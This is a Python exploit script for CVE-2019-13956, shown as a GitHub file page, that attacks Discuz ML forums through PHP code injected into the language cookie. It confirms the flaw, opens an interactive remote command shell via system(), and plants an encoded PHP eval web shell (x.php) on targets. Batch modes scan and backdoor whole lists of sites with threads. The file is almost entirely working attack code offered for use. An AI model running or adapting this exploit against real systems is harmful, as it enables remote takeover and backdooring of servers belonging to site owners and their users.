-
Notifications
You must be signed in to change notification settings - Fork 1
/
discuz_mlRce.py
executable file
·405 lines (311 loc) · 15.5 KB
/
discuz_mlRce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
#!/usr/bin/python
# coding:utf-8
# Author:Vibhuti Nath
# CVE-ID CVE-2019-13956
# POC https://www.esoln.net/blog/2019/06/14/discuzml-v-3-x-code-injection-vulnerability/
# Description:DISCUZ ML RCE in Language cookie
# Date:20190614
import requests
import optparse
import sys
import urllib3
import re
from bs4 import BeautifulSoup
import Queue
import threading
import os
import datetime
reload(sys)
sys.setdefaultencoding('utf-8')
lock = threading.Lock()
q0 = Queue.Queue()
threadList = []
global success_count
success_count = 0
total_count = 0
def get_setcookie_language_value(tgtUrl,timeout):
urllib3.disable_warnings()
tgtUrl = tgtUrl
try:
rsp = requests.get(tgtUrl, timeout=timeout, verify=False)
rsp_setcookie = rsp.headers['Set-Cookie']
# print rsp.text
pattern = re.compile(r'(.*?)language=')
language_pattern = pattern.findall(rsp_setcookie)
setcookie_language = language_pattern[0].split(' ')[-1].strip() + 'language=en'
return str(setcookie_language)
except:
print tgtUrl + ' get setcookie language value error!'
return 'get-setcookie-language-value-error'
def dz_ml_rce_check(tgtUrl, setcookie_language_value, timeout):
tgtUrl = tgtUrl
check_payload = setcookie_language_value + '\'.phpinfo().\';'
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
headers["Cookie"] = check_payload;
check_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
#print headers['Cookie']
if check_rsp.status_code == 200:
try:
if (check_rsp.text.index('PHP Version')):
print 'target is vulnerable!!!'
else:
soup = BeautifulSoup(check_rsp.text, 'lxml')
if (soup.find('title')):
print 'target seem not vulnerable-' + 'return title: ' + str(soup.title.string) + '\n'
except ValueError, e:
print 'target seem not vulnerable-' + e.__repr__()
except:
print 'target seem not vulnerable-Unknown error.'
else:
print 'Target seem not vulnerable-status code: ' + str(check_rsp.status_code) + '\n'
def dz_ml_rce_cmdshell(tgtUrl, setcookie_language_value, timeout):
tgtUrl = tgtUrl
cmd_exp = '\'.system(\'{0}\').\';'
cmd_test = 'echo zxc000'
cmd_exp_test = setcookie_language_value + cmd_exp.format(cmd_test)
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
headers["Cookie"] = cmd_exp_test;
cmd_exp_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
if cmd_exp_rsp.status_code == 200:
if 'zxc000' in cmd_exp_rsp.text:
print 'Get cmdshell success! type exit to exit.'
while True:
command = raw_input("cmd>>> ")
if command == 'exit':
break
cmd_exp_send = setcookie_language_value + cmd_exp.format(command)
headers['Cookie'] = cmd_exp_send
cmd_exp_rsp = requests.get(tgtUrl,headers=headers,timeout=timeout,verify=False)
cmdshell_result = cmd_exp_rsp.text[0:1000].split('<!DOCTYPE html')[0].strip()
#cmdshell_result = cmdshell_pattern.findall(cmd_exp_rsp.text[0:100])
print cmdshell_result
else:
print 'Get cmdshell seem failed-can not find zxc000.'
else:
print 'Get cmdshell seem failed-status code: ' + str(cmd_exp_rsp.status_code) + '\n'
def dz_ml_rce_getshell(tgtUrl, setcookie_language_value, timeout):
getshell_exp = '\'.file_put_contents%28%27x.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.\';'
getshell_exp_send = setcookie_language_value + getshell_exp
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
headers['Cookie'] = getshell_exp_send
filename = tgtUrl.split('/')[-1]
getshell_rsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
# print headers['Cookie']
if getshell_rsp.status_code == 200:
getshell_rsp1 = requests.get(tgtUrl.split(filename)[0] + 'x.php', timeout=timeout, verify=False)
#print tgtUrl.split('/')[-1]
#print tgtUrl.split(filename)[0] + 'x.php'
if (getshell_rsp1.status_code) == 200 and (getshell_rsp1.text == ""):
print 'Getshell success!-shellPath:' + tgtUrl.split(filename)[0] + 'x.php'
else:
#soup = BeautifulSoup(getshell_rsp1.text, 'lxml')
print 'Getshell failed!-rsp1 status code: ' + str(getshell_rsp1.status_code) + '\nrsp1 text: ' + getshell_rsp1.text[0:100]
else:
print 'Target seem not vulnerable-status code: ' + str(getshell_rsp.status_code) + '\n'
def dz_ml_rce_check_batch(timeout,f4success,f4fail):
global total_count
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
while(not q0.empty()):
tgtUrl = q0.get()
qcount = q0.qsize()
print 'Checking: ' + tgtUrl + ' ---[' + str(total_count - qcount) + '/' + str(total_count) + ']'
setcookie_language_value = get_setcookie_language_value(tgtUrl,timeout)
if setcookie_language_value == 'get-setcookie-language-value-error':
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'get setcookie language value error' + '\n')
lock.release()
continue
check_payload = str(setcookie_language_value) + '\'.phpinfo().\';'
headers["Cookie"] = check_payload;
try:
check_batch_rsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
except requests.exceptions.Timeout:
#print tgtUrl + ' Checked failed! Error: Timeout'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Timeout' + '\n')
lock.release()
continue
except requests.exceptions.ConnectionError:
#print tgtUrl + ' Checked failed! Error: ConnectionError'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: ConnectionError' + '\n')
lock.release()
continue
except:
#print tgtUrl + ' Checked failed! Error: Unknown error'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Unknown error' + '\n')
lock.release()
continue
if check_batch_rsp.status_code == 200:
try:
if (check_batch_rsp.text.index('PHP Version')):
print tgtUrl + ' is vulnerable!!!'
lock.acquire()
f4success.write(tgtUrl+'\n')
lock.release()
global success_count
success_count = success_count + 1
else:
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed!' + '\n')
lock.release()
except ValueError, e:
#print tgtUrl + ' seem not vulnerable-' + e.__repr__()
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: ' + e.__repr__() + '\n')
lock.release()
continue
except:
#print tgtUrl + ' seem not vulnerable-Unknown error.'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Unknown error.'+'\n')
lock.release()
continue
else:
#print tgtUrl + ' seem not vulnerable-status code: ' + str(check_batch_rsp.status_code) + '\n'
lock.acquire()
f4fail.write(tgtUrl + ' Checked failed! Error: '+ str(check_batch_rsp.status_code) + '\n')
lock.release()
def dz_ml_rce_getshell_batch(timeout,f4success,f4fail):
headers = {}
headers["User-Agent"] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101 Safari/537.36";
global total_count
while(not q0.empty()):
tgtUrl = q0.get()
qcount = q0.qsize()
print 'Checking: ' + tgtUrl + ' ---[' + str(total_count - qcount) + '/' + str(total_count) + ']'
setcookie_language_value = get_setcookie_language_value(tgtUrl,timeout)
if setcookie_language_value == 'get-setcookie-language-value-error':
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'get setcookie language value error' + '\n')
lock.release()
continue
getshell_exp = '\'.file_put_contents%28%27x.php%27%2Curldecode%28%27%253c%253fphp%2520@eval%28%2524_%25%35%30%25%34%66%25%35%33%25%35%34%255b%2522x%2522%255d%29%253b%253f%253e%27%29%29.\';'
getshell_exp_send = setcookie_language_value + getshell_exp
headers["Cookie"] = getshell_exp_send
try:
getshell_batch_rsp = requests.get(tgtUrl, headers=headers, timeout=timeout, verify=False)
except requests.exceptions.Timeout:
#print tgtUrl + ' Checked failed! Error: Timeout'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Timeout' + '\n')
lock.release()
continue
except requests.exceptions.ConnectionError:
#print tgtUrl + ' Checked failed! Error: ConnectionError'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: ConnectionError' + '\n')
lock.release()
continue
except:
#print tgtUrl + ' Checked failed! Error: Unknown error'
lock.acquire()
f4fail.write(tgtUrl + ': ' + 'Checked failed! Error: Unknown error' + '\n')
lock.release()
continue
if getshell_batch_rsp.status_code == 200:
filename = tgtUrl.split('/')[-1]
getshell_batch_rsp1 = requests.get(tgtUrl.split(filename)[0] + 'x.php', timeout=timeout, verify=False)
if (getshell_batch_rsp1.status_code) == 200 and (getshell_batch_rsp1.text == ""):
print 'Getshell success!-shellPath:' + tgtUrl.split(filename)[0] + 'x.php'
lock.acquire()
f4success.write(tgtUrl.split(filename)[0] + 'x.php' + '\n')
lock.release()
global success_count
success_count = success_count + 1
else:
# soup = BeautifulSoup(getshell_rsp1.text, 'lxml')
#print 'Getshell failed!-rsp1 status code: ' + str(getshell_batch_rsp1.status_code) + '\nrsp1 text: ' + getshell_batch_rsp1.text[0:100]
lock.acquire()
f4fail.write(tgtUrl + '-' + 'Getshell failed!-rsp1 status code: ' + str(getshell_batch_rsp1.status_code) + '\n')
lock.release()
else:
#print tgtUrl + ' seem not vulnerable-status code: ' + str(check_batch_rsp.status_code) + '\n'
lock.acquire()
f4fail.write(tgtUrl + ' Getshell failed! Error: '+ str(getshell_batch_rsp.status_code) + '\n')
lock.release()
def main():
parser = optparse.OptionParser('python %prog ' + '-h', version= '%prog v1.0')
parser.add_option('-u', dest='tgtUrl', type='string', help='single target url')
parser.add_option('-s', dest='timeout', type='int', default=7, help='timeout(seconds)')
# parser.add_option('--check',dest='check',action='store_true',help='check url')
parser.add_option('--getshell', dest='getshell', action='store_true', help='write a shell to target url-x.php,pwd is x')
parser.add_option('--cmdshell', dest='cmdshell', action='store_true', help='cmd shell mode')
parser.add_option('-f', dest='tgtUrlsPath', type ='string', help='urls filepath')
parser.add_option('-t', dest='threads', type='int', default=5, help='the number of threads')
(options, args) = parser.parse_args()
getshell = options.getshell
cmdshell = options.cmdshell
timeout = options.timeout
tgtUrl = options.tgtUrl
global total_count
if tgtUrl and (getshell is None and cmdshell is None):
setcookie_language_value = get_setcookie_language_value(tgtUrl, timeout)
if setcookie_language_value == 'get-setcookie-language-value-error':
sys.exit()
#print setcookie_language_value
dz_ml_rce_check(tgtUrl, setcookie_language_value, timeout)
if tgtUrl and cmdshell:
setcookie_language_value = get_setcookie_language_value(tgtUrl, timeout)
if setcookie_language_value == 'get-setcookie-language-value-error':
sys.exit()
dz_ml_rce_cmdshell(tgtUrl, setcookie_language_value, timeout)
if tgtUrl and getshell:
setcookie_language_value = get_setcookie_language_value(tgtUrl, timeout)
if setcookie_language_value == 'get-setcookie-language-value-error':
sys.exit()
dz_ml_rce_getshell(tgtUrl, setcookie_language_value, timeout)
if options.tgtUrlsPath and (getshell is None):
tgtFilePath = options.tgtUrlsPath
threads = options.threads
nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
os.mkdir('batch_result/' + str(nowtime))
f4success = open('batch_result/' + str(nowtime) + '/' + 'success-checked.txt', 'w')
f4fail = open('batch_result/' + str(nowtime) + '/' + 'failed-checked.txt', 'w')
urlsFile = open(tgtFilePath)
total_count = len(open(tgtFilePath, 'rU').readlines())
print '===Total ' + str(total_count) + ' urls==='
for urls in urlsFile:
tgtUrls = urls.strip()
q0.put(tgtUrls)
for thread in range(threads):
t = threading.Thread(target=dz_ml_rce_check_batch, args=(timeout, f4success, f4fail))
t.start()
threadList.append(t)
for th in threadList:
th.join()
print '\n###Finished! [success/total]: ' + '[' + str(success_count) + '/' + str(total_count) + ']###'
print 'Results were saved in ./batch_result/' + str(nowtime) + '/'
f4success.close()
f4fail.close()
if options.tgtUrlsPath and getshell:
tgtFilePath = options.tgtUrlsPath
threads = options.threads
nowtime = datetime.datetime.now().strftime('%Y%m%d%H%M%S')
os.mkdir('batch_result/' + str(nowtime))
f4success = open('batch_result/' + str(nowtime) + '/' + 'success-getshell.txt', 'w')
f4fail = open('batch_result/' + str(nowtime) + '/' + 'failed-getshell.txt', 'w')
urlsFile = open(tgtFilePath)
#global total_count
total_count = len(open(tgtFilePath, 'rU').readlines())
print '===Total ' + str(total_count) + ' urls==='
for urls in urlsFile:
tgtUrls = urls.strip()
q0.put(tgtUrls)
for thread in range(threads):
t = threading.Thread(target=dz_ml_rce_getshell_batch, args=(timeout, f4success, f4fail))
t.start()
threadList.append(t)
for th in threadList:
th.join()
print '\n###Finished! [success/total]: ' + '[' + str(success_count) + '/' + str(total_count) + ']###'
print 'Results were saved in ./batch_result/' + str(nowtime) + '/'
f4success.close()
f4fail.close()
if __name__ == '__main__':
main()